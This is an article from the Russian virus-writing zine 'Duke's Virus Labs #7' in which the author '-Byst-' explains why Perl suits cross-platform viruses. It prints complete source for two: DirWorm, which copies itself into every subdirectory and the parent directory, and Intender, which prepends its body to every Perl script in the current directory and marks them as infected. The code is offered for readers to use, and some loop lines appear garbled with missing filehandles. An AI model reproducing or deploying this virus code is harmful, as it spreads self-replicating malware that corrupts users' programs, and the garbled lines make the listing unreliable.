- [Duke's Virus Labs #7] - [Page 23] - Многоплатформенные вирусы на Перле (c) by -Byst- Я долго раздумывал над этой темой и вот решил предложить ее читателям DVL. А темой для этой статьи стали многоплатформенные вирусы. Надо сказать, сначала единственным вариантом я видел вирусы написанные на Java, но относительно сложный способ поражения заставил меня отвернуться от них, возможно и зря. Следующей категорией вирусов подходящих для многоплатформенности являются вирусы которые поражают исходники. Так сложилось, что под *nix'ы пишут в основном на С и С++ и если писать на Ansi C, то вирусы будут живучи под DOS и *nix. А если учесть то обстоятельство, что ПО под *nix обычно распространяется в исходных текстах, то у этих вирусов есть весьма неплохие шансы на выживание. Однако, мой взгляд упал на язык Перл, который является многоплатформенным ( что нам и надо! ) у него есть реализации под множество (если даже не под все) *nix'ы, OS/2, Windows95/NT и даже DOS. А что еще интересно Перл при запуске программы компилирует текст программы во внутренний байт код и только потом выполняет его. Т.е программа - это текстовый файл и при этом существенно упрощается процедура инфецирования. А вот собственно и два вируса DirWorm и Intender. Первый просто размножается по диску, никого не инфецируя, копируя себя в родительский каталог и во все подкаталоги. А второй - ищет файлы *.pl (проги на Перле) в текущей директории и внедряет свое тело в самое начало жертвы, т.е делает так чтобы тело вируса исполнялось первым и вообще исполнялось(если в тексте программы есть строчка начинающаяся с "#!", то исполнение начинается именно с нее). ----------------------------Cut here: DirWorm -------------------------------- # DirWorm by -Byst- (c) 1999 while (<*>) # Ищем все файлы в текущей директории { if (chdir($_)) { # Если это директория - сменить текущую на нее @command = ("cp ../worm.pl ./worm.pl > /dev/null"); system @command; # Вызов системной функции копирования файла chdir(".."); # Возращаемся обратно в начальную директорию } } @command = ("cp ./worm.pl ../worm.pl"); system @command; # Копируем тело в родительскую директорию ----------------------------End Cut: DirWorm --------------------------------- ----------------------------Cut here: Intender ------------------------------- #here virus starts # Intender by -Byst- (c) 1999 $source = __FILE__; # Имя атакущего файла while (<*.pl>) { $name = $_; # Имя файла-жертвы $cname = crypt($name,$name); # Имя промежуточного файла # Проверим не инфицирован ли уже файл? open(TARGET,"<$name"); # жертва $allready_infected = 0; while () { if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0) { $allready_infected = 1;} # уже инфицирован! } close(TARGET); if ($allready_infected == 1 ) { next;} # переходим к следующей жертве # Проверим, нет ли в теле жертвы строк типа !/usr/bin/perl open(TARGET,"<$name"); # жертва $flag = 0; while () { if (index($_,"\x23!") == 0) # Нашли такую строку { $flag = 1;} # взводим флаг } close(TARGET); # Создаем часть в которой содержится вызов процедуры инфицирования open(TARGET,"<$name"); # жертва open(FBUF,">$cname"); # промежуточный файл if ($flag == 1) { # у жертвы есть обозначение начала программы? while () { # ищем его print(FBUF); # сохраняем все строки жертвы до #! if (index($_,"\x23!") == 0 ) # ага, вот и начало программы { last;} } } # ищем тела процедур $_ = "\n";print(FBUF); open(SOURCE,"<$source"); # атакующий файл while() { # ищем признак начала - "#here virus starts" if (index($_,"\x23here virus starts") == 0) { last;} } print(FBUF); # весь текст процедур -> промежуточный файл while () { print(FBUF); if (index($_,"\x23here virus ends") == 0) { last;} } close(SOURCE); $_ = "\n";print(FBUF); # оставшуюся часть жертвы -> промежуточный файл while () { print(FBUF); } close(TARGET); close(FBUF); rename($cname,$name); } #here virus ends ----------------------------End Cut: Intender ------------------------------- PS. Единственное, что хотелось заметить - это то, что могут быть проблемы с разделителем строк. Правда многие интерпретаторы Перла под *nix'ы правильно понимают стиль 0xOD,0xOA а под NT - юниксовый стиль OA, правда ничего в этом смысле не могу сказать про интерпретаторы Перла под OS/2. Поэтому резонно в качестве разделителя строк использовать unix-style, т.е. 0xOA.